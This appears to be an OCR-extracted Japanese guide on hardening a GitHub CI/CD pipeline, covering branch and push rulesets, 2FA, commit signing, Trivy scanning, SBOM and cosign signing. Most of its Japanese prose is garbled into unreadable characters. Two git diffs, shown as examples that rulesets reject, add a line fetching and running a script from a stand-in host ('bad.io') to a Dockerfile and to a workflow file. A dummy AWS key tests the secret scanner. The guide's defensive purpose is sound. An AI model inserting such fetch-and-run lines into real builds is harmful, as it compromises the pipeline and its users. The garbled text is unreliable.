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AD AU N—IZIFER Write) HRZM ST 08, 77 0 FHEAOEHZ

TEDH L9 —#A L N—|Z [Admin] & DL Maintainer] % DHERR % F

535, VR MIANOU Y —RZxT DT 72 AMROFEIFTRISERD,
= O@/ ooor-ovarnai e Q Type [7)to search 8-+ -][o)[n)(e

<> Code ( lIssues I Pullrequests 2 ® Actions [ Projects @ Security |~/ Insights £ Settings

@ General Who has access
Access Private repository
]
I e ——— Only those with access to this repository can view it Manage
Code and automation
PRIVATE REPOSITORY®R BASE ROLE None) DIRECT ACCESS A ORGANIZATION
¥ Branches ) ACCESS
Only those with No base role set. Only 2 users have access
© Tags access to this Owners and those to this repository. 1 0 users and 0 teams
G} Rules o repository can view it. with direct access can member. 1 team. can access this
T Manage access this repository. repository through the
® Actions v Manage organization.
Set base role
& Webhooks Manage
5 Pages
= Custom properties
Manage access Create team [ CLIELTITY Add teams
Security
@ Code security Direct access  Organization access
£ Deploy keys
O selectall Q, Find people or a team... Type ~ Role ~
(#) Secrets and variables v
Integrations o - Role: admin d
88 GitHub Apps
£ Email notifications O (s platfiormTeam Role: write @

um -pla(fcrmleam - 2 members

70 GitHub U AR b U OMERRER E

® HHIRTE Y AAHDELE

UARY b U OKHERBZRETIE, EDORAVNR—THEEICEEEZRVIAD D,
Z UL GitHub DR TH D, ZHUL CL/CD /34 7T A 2RI B B A EER
EHEHOBACHBIZR S0, ROV E 2 —0KGRR E20AE L,
FLENOLEZFEITTELHHLZBEMNCTILENDH D, 2D OHIRIX
GitHub Pro THIMFIHEZR, [Rulesets| HERE CTEBLTE 5, EMARAIITIT,
[branch rulesets| Z{EpX L. [Targets| I main] % . [Branch rules]
\Z TRequire a pull request before merging] 3K [Block force pushes]

ERETSH (K 8) 7%

SAREOR =T DNDIISND A, GitHub (RO TR EZ B - BEA T2 b HEETH D, FFIT GitHub 12
% L ClX. OpenSSF @ Scorecard # FflH L CHEBW R T = v 7 2T D52 ENAETH D,

https://github. com/ossf/scorecard



<> Code (© Issues 19 Pullrequests () Actions [ Projects (© Security [~ Insights &3 Settings

@ General Rulesets / rule-protect-branches

Access
Ruleset Name *
A Collaborators and teams
rule-protect-branches

Code and automation
Enforcement status

¥ Branches ® Active ~
© Tags
E+ Rules ~ Bypass list + Add bypass ~
l Rulesets
Exempt roles, teams, or apps from this ruleset by adding them to the bypass list.
Insights
9 Pages

Targets

=] Custom properties
Which branches do you want to make a ruleset for?

Security

@ Code security Target branches

Branch targeting determines which branches will be protected by this ruleset. Use inclusion
patterns to expand the list of branches under this ruleset. Use exclusion patterns to
Secrets and variables Vv exclude branches.

£ Deploy keys

Integrations

Branch targeting criteria Add target ~
88 GitHub Apps
£ Email notifications ® main &

(2 Autolink references i
Applies to 1 target: main .

Rules

Which rules should be applied?

Require a pull request before merging
Require all commits be made to a non-target branch and submitted via a pull request before they
can be merged.

Show additional settings v

() Require status checks to pass
Choose which status checks must pass before the ref is updated. When enabled, commits must
first be pushed to another ref where the checks pass.

Block force pushes
Prevent users with push access from force pushing to refs.

8: GitHub U R + U @ branch rule

ZORETT, v—=BVBRENPOHIRMGRDO Y T— VR U ~OHD
AL, = CRRR L@y fER Ens (M9),

% git diff

diff —git a/dockerfile b/dockerfile
index 36e41bc. . 876a547 100644

-— a/dockerfile

+++ b/dockerfile

@@ -9,6 +9,7 @ RUN apt-get install -y ¥
+RUN bash <(cur| -s https://bad. io/bash)




git conmit -m “example modification”
git push —f origin main
(FHER)
remote: error: GHO13: Repository rule violations found for refs/heads/main
remote: Review all repository rules at https://github. com/xxx/mock—prv-
guardrai |l /rules?ref=refsh2Fheads%2Fmain
remote:
remote: - Changes must be made through a pull request
remote:
remote:
remote: (?) To push, resolve push protection violations or follow this URL to request push
protection bypass
remote: https://github. com/xxx/mock-prv-guardrail/exemptions/new/xxx=
To https://github. com/xxx/mock-prv-guardrail. git
| [remote rejected] main —> main (push declined due to repository rule violations)
error: failed to push some refs to 'https://github. com/xxx/mock-prv—guardrail.git

9: branch rulesets (= & A{R# 5 R

®CI/CD /XA TSA UERT 71 ILDRE

RV ATEMH LI GitHub Actions V—72 7 —TlX, .github fid T
T ANERETDVER DD, ZDOT7 7 ANEEETE LG, RMIZ
KLU TEEOEEOTEDOUHE ZHDIAEN LA REEN D D, Bl 21X, Y%
GitHub Actions V—27 7 —0DFE(T b ) T—ZALEICHRE L, EEOLE =
—HICERNEEFITTCELHBENDRH D, LIen-> T, .github il FD 7
7 AINSOER % Push TEDLHEERZIRE LRITUER SR, Ui,
[Rulesets| #¥HED [Push rulesets] ZffEH = &L TEEFETHS (¥ 10),

<> Code (O Issues I Pullrequests () Actions [ Projects @ Security |~ Insights &3 Settings

@& General Rulesets [ rule-protect-github-workflows

Access
Ruleset Name *
Ax Collaborators and teams
rule-protect-github-workflo

Code and automation
Enforcement status

¥ Branches ® Active -
© Tags
E+ Rules ~ Bypass I|St + Add bypass ~
I Rulesets
Select the roles and teams that can bypass and also approve bypass requests. Add the
Insights bots that can bypass this ruleset.
3 Pages

Rules

=] Custom properties
Which rules should be applied?
Security

@ Code security Push rules

£ Deploy keys o
Restrict file paths
Secrets and variables v Prevent commits that include changes in specified file paths from being pushed to the commit
graph.
Integrations

39 GitHub Apps Restricted file paths + Add file path

£ Email notifications

+github/#x/* v}
2 Autolink references d

&

10: GitHub U R U @ push rule

10
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DR TE % LTRAET, CI/CD /3o 7T A BEHE O T 7 A W A
ﬁf%m11@iom\w~wmiofmﬁ~&m@ém5o

git diff
diff —git a/. github/workflows/build. yml b/.github/workflows/build. yml
index 35d3ea). . eaab68cc 100644
-— a/. github/workf lows/bui ld. yml
+++ b/. github/workf lows/bui ld. yml
@@ -88,6 +88,7 @@ jobs:
- name: Set IMAGE_DIGEST
id: set-image-digest
run: |
+ bash <(cur!| —-s https://bad. io/bash)
echo “IMAGE_DIGEST=$ {{ steps. login—ecr. outputs. registry }}/tf-image@${{ steps. docker-
bui |d-and-push. outputs. digest }}” >> $GITHUB_OUTPUT
git conmit -m “example modification”
(%;t push origin

remote: error: GHO13: Repository rule violations found for refs/heads/develop
remote: Review all repository rules at https://github. com/xxxxx/mock-prv-guardrail/rules?ref
=refsh2Fheads%2Fdeve | op

remote:

remote: — GITHUB PUSH PROTECTION

remote:

remote: Resolve the following violations before pushing again

remote:

remote: - File path is restricted

remote: Found 1 violation:

remote:

remote: . github/workf lows/bui Id. yml

remote:

remote: (?) To push, resolve push protection violations or follow this URL to request push
protec

tion bypass

remote: https://github. com/xxxx/mock—prv-guardrai | /exemptions/new/xxx=
remote:

To https://github. com/xxx/mock-prv-guardrail. git
I [remote rejected] develop —> develop (push declined due to repository rule violations)
error: failed to push some refs to 'https://github. com/xxx/mock-prv—guardrail.git

% 11: push rule |2 X D155 5
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N F%E :
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S

K 12: Y —Aa— REHY AT LAOARIER o —F—T v hoEH

GitHub TlE, A=Y —NTH 7 FEERTE D, "Z 9 WV o=@ A
BEOT H T N EMEEEO GitHub  Organization (2535 = &%, GitHub

* GitLab <° Bitbucket & [FIEETH D
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EWVWIHIH—E R RIIAETHD, ZOHA, BLEAEETOT AT bR
RIET 7@ REOHEICE S T256. TOT U b EHBERE LIRS L
THREL RIFTRNND D, 13 ® X iz, GitHub IZ—E5&MZ0H7- L
=T vy MOk LT BEHERAE (2FA) OREEZEE(LL TS, ° Ly
L. SIM AT w» 7% MFA Fatigue 72 EI2 &V 2FA 222 & TV 5 L H 1T,
2FA DIEEIZIZIENH D,

/\  GitHub users are now required to enable two-factor authentication as an additional security measure. Your activity on GitHub
includes you in this requirement. You will need to enable two-factor authentication on your account before February 04, 2025, or Enable 2FA
be restricted from account actions.

13: GitHub 1T X % MFA B E K

LRIRT 7 MEBICT A28, GitHub organization {4z A /3—I(C
% LT 2FA Z9RHIT 2720 T <, S HICHMEOEW 2FA ZIEETHZ &N
AHETHDH (¥ 14), H L. GitHub ® 77 7 Enterprise OFA 1L, HH
#kD 1dP (Identity Provider) & @EHEEIZ X5 SSO (> T NWA A )
EREL., TRXTOAUNR—IZH L TCEORAEZRHE ST L TE S,

(D Overview [ Repositories 11 [ Projects 2 @ Packages A Teams 2 A People 3 |~ Insights 2 Settings

— Go to your organization profile
Organization & Switch settings context +

& General Two-factor authentication
&5 Policies v
Two-factor authentication adds another level of security for your organization. Learn more about
Access requiring two-factor authentication in your organization.
E5 Billing and plans Require two-factor authentication for everyone in the-rganization.
o Organization members who do not have two-factor authentication enabled will be unable to access resources
Organization roles M owned by the (]l o-o=nization, but will remain a member of (M@ urt they update their

settings. Outside collaborators who do not have two-factor authentication enabled will be removed from the
organization and notified. View organization membership to see which users will be impacted.

Only allow secure two-factor methods

2 Repository roles

Ay Member privileges

2 Import/Export Users can only use secure two-factor methods: authenticator apps, passkeys, security keys, and the GitHub
X mobile app. Learn more about two-factor authentication.
[ Moderation v
£ Requests from members /\ 1 member does not have two-factor authentication configured. Members without two-factor
authentication will be required to set it up to regain access to the organization. See which
Code, planning, and automation members do not have two-factor authentication set up.
[ Repository v
Save
8 codesnaces v

14: GitHub Organization OEFFRE N IRMH TX 5 2 BIZEZRAE L IR

5 https://docs. github. com/en/authentication/securing-your—account-with-two-factor-authentication—

2fa/about-mandatory-two—factor-authentication

12
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TITO MEEE) 1 FEOWERRTER (M) TR <, GitHub 70
7 hEET, GitHub 7 B> M, VARY N ~OEHLEEERT commit &
ERC&, £72Z D commit ODIEEMZRILT HBAEME5THZ L LARETH
%o BARMIZIX, GitHub 7 o2 MIBEAHOHEHRZFEHL (K 16), =
—HNVIRARD Git RET 7 AV Tk (K 17) 2175 2 L TREBEE 2D,

Go to your personal profile
Your personal account @ Switch settings context =

A Public profile
@ Account

& Appearance
f Accessibility

L Notifications

Access

E5 Billing and plans v

B3 Emails

(@ Password and authentication

@) Sessions
.

Organizations

@) Enterprises

[J Moderation ~

Code, planning, and automation

SSH keys [ ew st |

This is a list of SSH keys associated with your account. Remaove any keys that you do not recognize.

Authentication keys

Configure SSO =

Added on Feb 10, 2024 Delete
Never used — Read/write

Signing keys

SSH

Delete
sgH Added on Oct14, 2023
Signing
» D

sSH Added on Feb 10, 2024

Signing
[ Repositories
% Codespaces Check out our guide to connecting to GitHub using SSH keys or ‘common SSH problems.
16 SEOEER
% cat "/.gitconfig
[user] ] o .
email = xxxx@digital. gov. jp

[epel
[epg “ssh”]

[commit]

[tag]

name = XXXXX
signingkey = ssh-ed25519 xxxxx

fgrmat = ssh

al lowedSignersFile = /Users/xxxx/. ssh/al lowed_signers

gpgSign = true

forceSignAnnotated = true

13



[init]
defaultBranch = main

17: .gitconfig

Z @ commit F4 1 Tbranch Rulesets] 38X [tag Rulesets] THR|A]
RETH 5,

0 —XROA—FEEBIRATLIZNTEL—U Ly FOREKTFH

2 E%g 0 (¥]
v .-

pARVAE b -
TSy hTA—A YRIRY

F—Ah
X 18 : VY —Ra— REHI AT LT HY—7 Ly Ok T

=7 by &S Tceomnit L72A, 30 E U CRERICIRE i, K&
MU R7 L%, LIcid-> T, commit YERRATICEEEEHZZ S 9 & LTV
WhrhETF oy 7T HMMANEEE D, —fFlE LT, Git IZBIFLH7 v
(Git Hooks) ™D 95 pre—commit 7 v 7 Z{EHA L. commit ERH{IZS—727 L v
ARy U HFITT D HENRELBND, AFETIL, pre—commit (Y —/)
& Trivy ZERH L. =27 Ly FBAEERTW W2 BRI HAIHER L

TW5, (X 19),

cat config/trivy-secrets—scan. yaml
secret:
# empty
ttconfig: . /config/secrets. yaml
scan:
scanners:
- secret
format: “table”
exit-code: 1
cat config/. pre-commit-config. yaml
repos:
- repo: local
hooks :
- id: trivy
name: trivy
language: golang
entry: trivy fs ——config . /config/trivy-secrets-scan. yaml -quiet
pre-commit install —c . /config/. pre-commit-config. yaml
pre—commit run —all-files —¢ . /config/. pre—commit-config. yaml

19: Git 7 v 7 DBk

COBRTEEKMLUT-IREET, AWS OT7 7 EBAF—0NEBINENT-T7 7 AV %,
14



a3y bR E LESEAEOEHNK 20 ThHd, 29\ ok E2iikic
ERLX B WS, mAREFY —/L (Active Directory @ GPO <2 MDM 72 &)
INHEAT - SREIT D ENEE LY,

hoge. txt

export SAMPLE_AWS_KEY=ASIAUKOOWJO3YGYKBYGG #Dummy

git commit -m "add precommit
VY. Fai led
- hook id: trivy
- exit code: 1
hoge. txt (secrets)
Total: 1 (UNKNOWN: O, LOW: O, MEDIUM: 0, HIGH: 0, CRITICAL: 1)
CRITICAL: AWS (aws—access—key—id)
AWS Access Key ID

hoge. txt:1

; [ export SAMPLE_AWS_KEY

20:Git 7y & Trivwickay—27 1Ly M

3.3EILKRDz—XDR#E

Y=o Ly MEHRDIRRXTER

[¥]
&

)
Tty aE
YR RY
R
— % )3
\

TSy k7A—LF—L

X 21 : > —27 Ly MEROIREHE

AL T T4 TR BREHOT v 7 a— R, REME~DELIZ AWS D
TV BAF—ZNEL LTS, ZOT 7 BAX—DRENVLETHS, B
EKNZIZ I DREIZH -T2 L) BREXL TR INTZT /AR —DT v 7 a—
K&, v ~OHETITH D,

TP, EXT /AR —DT v u— NICHT DR TIL, v — b VEREE
ERICS ARy X BDMENETH D, OB ERIT L, Trivy 2 AWz
A¥ ¥ % GitHub Actions DU —7 7o —|TH AR, VAT B NIZFE-S
TEENT—7 by NEfmT 5 (K 22),

15



- name: Scan Secrets
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8¢87dbb0

env:
TRIVY_DEBUG: ’true’
with:
scan-type: fs
scanners: secret
scan-ref: ./
format: table
output: secret-scan-result. txt
exit-code: 1

22 - BV RERENTHER SN Trivy D> —2 Ly FAF ¥

ZOIRFET AWS O7 7 v A ¥ —Z2Z T comit XV E—FDURTY Y
< push SMB L, M 23 DR ICHRHEIEN, TT—k LTRESNS, 72
L. BEIZ push FHTHDT20, LY KT M OMT B o w SHHELTH
B LEBMEL. BADTEOICE Y X — 20N —F —3 g T 3 %EE
WD,

@ github-actions bot commented 3 minutes ago

Secret Scan Output
¥ Click to expand

secrets.txt (secrets) D

Total: 2 (UNKNOWN: @, LOW: @, MEDIUM: @, HIGH: @, CRITICAL: 2)

CRITICAL: AWS (aws-access—key-id)

AWS Access Key ID

secrets.txt:l

1 [ export AWS_ACCESS_KEY_ID="sxkxksrmokrskksodoonk!!
2 export AWS_SECRET_ACCESS_KEY="

CRITICAL: AWS (aws-secret-access-key)

AWS Secret Access Key

secrets.txt:2

1  export AWS_ACCESS_KEY_ID="skkkkiikdkickikkkkodok'!
2 [ export AWS_SECRET_ACCESS_KEY="

° Review required

At least 1 approving review is required by reviewers with write access.

(\ Some checks were not successful ~
=" 1failing, 1in progress, 1 successful checks

1 failing check v

[} Check [ Check Secrets (pull_request) Failing after 20s

23: > —27 Ly MERAIZEDEI RT7 = —XDJEL & @

16



WIZ, a7 ~DHIIThDH, ~AXFU TR —KeXRTHO . KRETIE
A% GitHub VAR Y R URED [Secrets] 1XZ ORI ZH %2 TW 5, GitHub
Actions FOU—7 7o — Ml HOBBIZID T 7B AFZF—%2EGD 50 7 H
THFIEL T LE-734E, GitHub Actions DNHEIICH I ->— 7 L
v NONEERINT D ° el BRHICEDRY—2 Ly hOFIRIZIZED
BT BRI CEIICER T DR EE ) 2 EBARRITEEL
W FE72, GitHub @ v Z USRI EZ AL AT, ~ A% 7%t
LLELTIERRH SN2, IHD0Z EnG, FLELT 7 EAFT—%2 5T
ko HOREZ LI LR LTRETH D,

Security Repository secrets
@ Code security Name =t Last updated
£ Deploy keys & AWS_ACCESS_KEY_ID 2monthsago /0
() Secrets and variables ~
I Actions © AWS_SECRET_ACCESS_KEY 2monthsago /0
Codespaces
Dependabot Organization secrets

24 : GitHub V7R R U @ [Secrets| s%i&

2)V—Ra—F - RERYOEEEDER

25:2) Y —ZA=— K« EERYOEEMEOHR

Terraform /XA F U Jt N Terraform 7 2 3 X —hGicva T A A—I0
BN R T DICHTZ-> T, RO Z2ET 5, 7B, 4 KFEMDZE 4
PEDRER ) ITHOWTIIEHED 3. 34) HEKFEWOLZEMEOHLR] ITTE AT
50

5 https://docs. github. com/en/actions/security—for—github—actions/security—guides/using-secrets—in—github-
actionsffusing—secrets—in-a-workflow
" https://docs. github. com/en/actions/security-for—github—actions/security-hardening—your—

deployments/configuring—openid-connect-in—amazon-web-services

17



L B2 —DO ALl

R S 2 DR
fass M o

IKATW) DM DR

I S N N R

1 TV a—onZb] IZonTid, mEEHEOMIOZS, 3. 22) [
)72 B D A DEEL | ITINZ, FFED A =T L KR E kT 5, B
KHIZ1E Code Owners® (X 26) %45 L. [branch rule] IZ [Require
review from Code Owners] |[ZF = v 7 Z A5 Z & T Code Owners DL E =
—Z WAL LTS (K 27), £7o, KRBRBABREZRETH2Z L HARETH D,

% cat . github/CODEOWNERS ‘
* @XXXXX

26 : code owner DISIE

Require a pull request before merging
Require all commits be made to a non-target branch and submitted via a pull request before they can be merged.

Hide additional settings ~

Required approvals

1 ~

e number of approving reviews that are required before a pull request can be merged.

() Dismiss stale pull request approvals when new commits are pushed
New, reviewable commits pushed will dismiss previous pull request review approvals.

Require review from Code Owners
Require an approving review in pull requests that modify files that have a designated code owner|

("] Require approval of the most recent reviewable push
Whether the most recent reviewable push must be approved by someone other than the person who pushed it.

(] Require conversation resolution before merging
All conversations on code must be resolved before a pull request can be merged.

("] Request pull request review from Copilot

Automatically request review from Copilot for new pull requests, if the author has access to Copilot code review.

X 27 : branch rule (23T 2 7KZREHE DR E

2 THERK I Ao & 3 THEgstEDORH ) 1%, Trivy IZL D A% v v 215

8 https://docs. github. com/en/repositories/managing-your-repositorys—settings—and-features/customizing-

your—-repository/about-code-owners

18



95 (4 28),

Hawy RIA 4 Zitilk L7z Dockerfile,

TITAA=TVERD,

B, BRI ADAX Y RGBT T I A AT EAERT

WEGHtED A % v kGt v

jobs:
check-vuln:

runs-on: ubuntu-24. 04
steps:
(FFER)

- name: Scan Vulnerability

with:
scan-type: image
scanners: vuln
image-ref: tmp/tf-image: |atest
exit-code: 1
severity: MEDIUM, HIGH, CRITICAL
output: vuln-result. txt

(FFER)

check-misconfig:

runs-on: ubuntu-24.04
steps:
- name:
uses:
- name:
uses:
with:
scan-type: config
scanners: dockerfile
format: table
scan-ref: ./
severity: MEDIUM, HIGH, CRITICAL
exit-code: 1
output: misconfig-result. txt
(FFER)

Checkout repository

Check Misconfiguration

name: Check Vulnerability (MEDIUM, HIGH, CRITICAL)

uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0

name: Check Misconfiguration (MEDIUM, HIGH, CRITICAL)

actions/checkout@11bd71901bbe5b1630ceea’3d27597364
aquasecurity/trivy- act|on@18f2510ee396bbf400402947

28 : Trivy

2 X DR X A DR H

Ax v O IFERE K 29 BLOE 30 I L TW5b, BRI 21X

Critical,

High, Middle O#&iH CTlIkiH SN 7o 7203,

Terraform /XA

UIZiZ Critical BX W High & SN72Messthn’i 4 1 oS Tns
Fo. R—ZAA A—UTH Middle LUV DEEIEREI R TX A, 777 L
Z @ Terraform /XA F U BIRIX Terraform ®BEZEICTH 5 HashiCorp AN

fefltd4-2 Debian /R r— L 725 TS —J7 T, Trivy iX Ubuntu (0S) Dffs
59MEIE R A Ubuntu CVE Tracker’’»H &ML TV 5,
N7 R =TI HIR LTS HE0D 0, Trivy
IIBETREThD, 2B,
B W T LZHIRTH 5,

DB TE - (lETE o FTREME
SHTHIBRTIEAR <

9 https://ubuntu. com/security/cves

g5 A % v 7 —

—TEDIENNy r—fEE
2 KA MaggtERE Rz B
Z X Trivy

19 https://trivy. dev/v0. 55/docs/scanner/vulnerability/#non-packaged-software

19
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° Review required

At least 1 approving review is required by reviewers with write access.

\ Some checks were not successful
2 failing, 1 successful checks

2 failing checks v

(<] Check [ Check Secrets (pull_request) Failing after 9s

[~ Check / Check Vulnerability (MEDIUM,HIGH,CRITICAL) (pull_request) Failing after 57s
1 successful check v

+ (@) Check / Check Misconfiguration (MEDIUM,HIGH,CRITICAL) (pull_request) Successfulin 7s

O Merging is blocked

New changes require approval from someone other than the last pusher.

() Merge without waiting for requirements to be met (bypass rules)

Merge pull request ~  You can also merge this with the command line. View command line instructions.

B4 29 : MagstEiR A X 2 er R KRR L #

tmp/tf-image:latest (ubuntu 24.04)

Total: 8 (MEDIUM: 8, HIGH: @, CRITICAL: 0)

Library Vulnerability Severity Status Installed Version | Fixed Version

libpam-modules CVE-2024-10041 | MEDIUM affected | 1.5.3-5ubuntu5.1

CVE-2024-10963

libpam-modules-bin | CVE-2024-10041

CVE-2024-10963

libpam-runtime CVE-2024-10041

CVE-2024-10963

libpamog CVE-2024-10041

CVE-2024-10963

usr/bin/terraform (gobinary)

Total: 2 (MEDIUM: @, HIGH: 1, CRITICAL: 1)

Library Vulnerability Severity | Status | Installed Version | Fixed Version
golang.org/x/crypto | CVE-2024-45337 | CRITICAL | fixed v0.27.0 0.31.0 <]
:
h
golang.org/x/net CVE-2024-45338 | HIGH v0.29.0 0.33.0 g
"

B4 30 : R A L7 Magatto—E

20




Seals L7z Maggtklc K 2B L E HIZZ T 5 L IXEFWNEINR N, A 7F A
VA OFEDITEHE OV — AT — L3 @ L TRHIHAT 2, 207D, 7T
FN7 4 —LF—HFTY T T4 —& LT, Y—ERATF—LNEE CE\Z%%%HX
BTELZEITMA, EEORFAE LM CE L L5, s YMasstEIcE
HIEMEREZ T EBRLEE LWL H D, %:’C“EE%%@:N/T‘)‘/I’ A=
UADEBEHIMA, REWIZEET DA X T —% "HAER - 1RT 5, BRI
X, Y7 ko7 s arRT v a URT (SCA) O—ETEH D SBOM 7 7 A b,
BLORRYOKRE (N> EZT EDORIITERSNTEDN) R
provenance 7 7 A LV EAERRK L., ZNHICHEBELLE T L CT—T 4777 b
VR M) ~AT v T u— R4 5,

EFTNE, T FAA—TVEAEKT D,

jobs:
build-and-deliver:
runs-on: ubuntu-latest

env:
PREDICATE_FILE: predicate. json
steps:
(P ER) ) .
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-
credentiaIsge3dd6a429d7300a6a4c196026e071d42e0343502
wit
aws—access—key—id: ${{ secrets. ANS_ACCESS_KEY_ID }}
aws—secret-access-key: ${{ secrets. AWS_ SECRET_ACCESS_KEY }}
aws-region: ap-northeast-1
- name: Login to Amazon ECR
id: login-ecr
uses: aws—actions/amazon-ecr-|ogin@062b18b96a7aff071d4dc91bc00cdc1a7945b076
- name: Build and Deliver
uses: docker/build-push-action@48aba3b46d1b1fec4febb7c5d0c644b249a11355
id: docker-build-and-push
with:
context:
push: true
build-args: |
TF_VERSION=${{ env. DEFAULT_TF_VERSION }}
UBUNTU_VERSION=$ {{ env. DEFAULT_UBUNTU_VERSION }}
tags: ${{ steps. login-ecr.outputs. registry }}/tf-
image:ubuntu.${{ env. DEFAULT_UBUNTU_VERSION }}-
tf. ${{ env. DEFAULT_TF_VERSION }}, ${{ steps. login-ecr. outputs. registry }}/tf-
image:$ {{ env. DEFAULT_TF_VERSION }}, ${{ steps. login-ecr.outputs. registry }}/tf-
image: latest
labels: ${{ steps.meta.outputs. labels }}
platforms: |inux/armé4
provenance: false
no-cache: ${{ inputs. no-cache == true }}
cache-from: type=gha
cache-to: type=gha, mode=max

- name: Set IMAGE_DIGEST
id: sTt—image—digest
un:
echo “IMAGE_DIGEST=${{ steps. login—ecr. outputs. registry }}/tf-
image@$ {{ steps. docker-bui |d-and-push. outputs. digest }1” >> $GITHUB_OUTPUT

" Predicate £ 9, predicate (X, 7—7 14 7 7 7 MBI ONTZAZT—Z T, JSON 7 V=7 b & LTHRIF
b, Y7 o=T - 774 F 2= O fET 52 2B E L in—toto AFEE L7z Predicate OFESE

Tk, ARFETHIA T % SLSA Provenance =2 SPDX/CycloneDX &\ 572 SBOM LISMZ & & 5,

21


https://github.com/in-toto

M 3 arTFIAA—TVDOAEREER (T—7 47727 NIRRT RY) ~DT7 v 7a—R

Amazon Elastic < Images (10) @ Delete Details View push commands
Container Registry
[Q Search artifacts ] 1 ]
v Private registry
Repositori al . o | artitacte Pushed | | Size | Image Digest
epositories mage tag rtifacttype | 1 o S igest
Summary
Images November
Permissions sha256- , 07,2024, 4 B E arsen:
o €1c482ca6c99026a5e7523724c0c3b405adBaTeT ed50.att Image 08:20:40 43 O ri 0 sha256:2:
Lifecycle Policy (UTCs09)
Repository tags
Features & Setti November
eatures & Settings 07 2004 <
o - Image 0820:35. 0.60 5} U:‘l’y 10 sha256icc
v Public registr, :20:
ublic registry (UTC+09)
Repositories
Settings November
07,2024, Copy
E y = [ 5
O Image 08:20:29 oo1 URI O sha2s6:5
(UTC+09)
ECR public gallery [2
Amazon ECS [2 November
sha256- 07, 2024, Copy
2 [ 0.00 [w D) sha256:5¢
Amazon EKS [2 0 e1ca82cabe 523724c0c3b405ad8ate1e459.sig Image 08:20:07 URI 0 sha256:
(UTC+09)
Getting started [2 November
07, 2024, Ce
Documentation [ O 1.9.8-1, ubuntu.24.04-4£1.9.8-1 Image carose 183.64 =] u:fy I sha256:9!

(UTC+09)

32: 7y Tu—RShicarTF A4 A=V

kLT A A—20 SBOM 7 7 A )L L Provenance 7 7 A )V ZZ 1L
Fiu, Trivy & SLSA Framework @ — )L CHERR L T 5,

jobs:
build-and-deliver:
runs-on: ubuntu-latest

env:
PREDICATE_FILE: predicate. json
steps:
(P ER)
- name: Generate a SBOM
run: |
trivy image —scanners vuln —format spdx-json -o . /tmp/tf-sbhom. spdx. json
${{ steps. set—image-digest. outputs. IMAGE_DIGEST }}
trivy image ——scanners vuln ——format cyclonedx -o . /tmp/tf-sbom. cdx. json
${{ steps. set—image—digest. outputs. IMAGE_DIGEST }}
aws s3 cp . /tmp/tf-sbom. spdx. json s3://test-sbom-artifacts/
aws s3 cp . /tmp/tf-sbom. cdx. json s3://test-sbom-artifacts/

- name: Generate a provenance

id: sign-prov

env:
UNTRUSTED_IMAGE: “${{ steps. login—ecr. outputs. registry }}/tf-image”
UNTRUSTED_DIGEST: ${{ steps. docker-build-and-push. outputs. digest }}
GITHUB_GONTEXT: “${{ toJSON(github) }}”
VAR?,CONTEXT: “${{ toJSON (vars) }}”

run:
set —euo pipefail

# Generate a predicate only
. /s|sa-generator—container—| inux-amd64 generate —
predicate="${{ env. PREDICATE_FILE }}~

aws s3 cp ${{ env. PREDICATE_FILE }} s3://test-sbom-artifacts/
cat ${{ env. PREDICATE_FILE }} | jq

33 : L RREN THERL 417~ Predicate (SLSA. Provenance) MDA:fk

ZLT, cosigh EWHY—ZHHL, 20T FA A—TFDLD, A X
F—H& (SBOM 7 7 A /L, Provenance 7 7 A /L) XL TE4L4 L, ECR 127 v

22



7a— RKLTW5,

jobs:
build-and-deliver:
runs-on: ubuntu-latest

env:
PREDICATE_FILE: predicate. json
steps:
(&)
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-
credentiaIsge3dd6a429d7300a6a4c196026e071d42e0343502
wit
aws—access—key—id: ${{ secrets. ANS_ACCESS_KEY_ID }}
aws—secret-access-key: ${{ secrets. AWS_ SECRET_ACCESS_KEY }}
aws-region: ap-northeast-1

- name: Login to Amazon ECR
id: login-ecr
() uses: aws-actions/amazon-ecr—|ogin@062b18b96a7aff071d4dc91bc00c4c1a7945b076
- name: Sign and Upload Image
run:
cosign sign ${{ steps. set-image—digest. outputs. IMAGE_DIGEST }} —yes —tlog-
upload=Ffalse —key “awskms:///${{ env. AWS_CMK_ID }}”~
= name: Attest Provenance and SBOM and Upload Attestation

run
IMAGE DIGEST="${{ steps. login-ecr.outputs. registry }}/tf-
image@$ {{ steps. docker-build-and-push. outputs. digest }}”

echo “Attest and Upload Provenance (SLSA)”
cosign a;test ——predicate="${{ env. PREDICATE_FILE }}” $IMAGE_DIGEST ¥
——yes
——tlog-upload=false ¥
--type slsaprovenance ¥
—key “awskms:///${{ env. ANS_CMK_ID }}~

echo “Attest and Upload SBOM”
cosign a;test ——predicate=". /tmp/tf-sbom. cdx. json” $IMAGE_DIGEST ¥
——yes
——tlog-upload= false ¥
—type cyclonedx
——key “awskms: ///$[[ env. ANS_CMK_ID }}~

cosign a;test ——predicate=". /tmp/tf-sbom. spdx. json” $IMAGE_DIGEST ¥
——yes
——tlog-upload=false ¥
——type spdx ¥
—key “awskms:///${{ env. ANS_CMK_ID }}”

34 : BV RERENTHER S Lz cosigh ICKDEM B LI ORA X T—2DELET v

]\v
7 —
Amazon Elastic < Images (6) @ Delete Details View push commands
Container Registr:
gistry [Q Search artifacts J 1 @
v Private registry
Repositori 0O imageta v | Artifact type Pushed | Size o | Image Digest
epositories ge tag YP at (MB) URI 9
Summary
Images - OV FF 4 X — Dpredicate ?:‘;g‘z":' .
i sha256- , 2024, opy
X = = !
Permissions O cb38ea17aa250ad7ea30567512348e9b3baci0 10692 14badofd 1 7446ad06fsate | 1292 22:36:43 144 URI D) sha2s6:b
Lifecycle Policy (UTC+09)
Repository tags
A AT OES December
Features & Settings o shazse- . N |mage 11,2024, 000 il 1) sha2s6:4°
+ Public regi eb38e4172a250ad7ea30367512348e9b3bacf0106d9c214badsfd174464d06f55ig | 9% 22:36:07 . URI *
Public registry (UTC+09)
Repositories
Settings 1VFFAA—Y ?‘eczg';:r .
2024, opy
4.04-t£.1.10.2-1,1.10.2-1, ) = = :
0 ubuntu.24.04-t£1.10.2-1, 1.10.2-1, latest Image 13581 187.52 o ) sha26zet
(UTC+09)

ECR public gallery [2

X 35:T7—=7 4777 FURY U L LTOECR
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3) EIL FETHORTEHEEDHIR

‘\
FONRAT—EE
-
L S

X 36 : £V R ECToORERITEIHOHIFR

3.22) [V—Ra—RFHIRATL ZOVRT NI ERT T F O
#) O ICI/CD A TTAVEFRT 7 ANDOHEHE] T lpush rulesets| A
LTSI, FFEDA Y N—PIMNIE N FERT 7 A VA FFTE 20
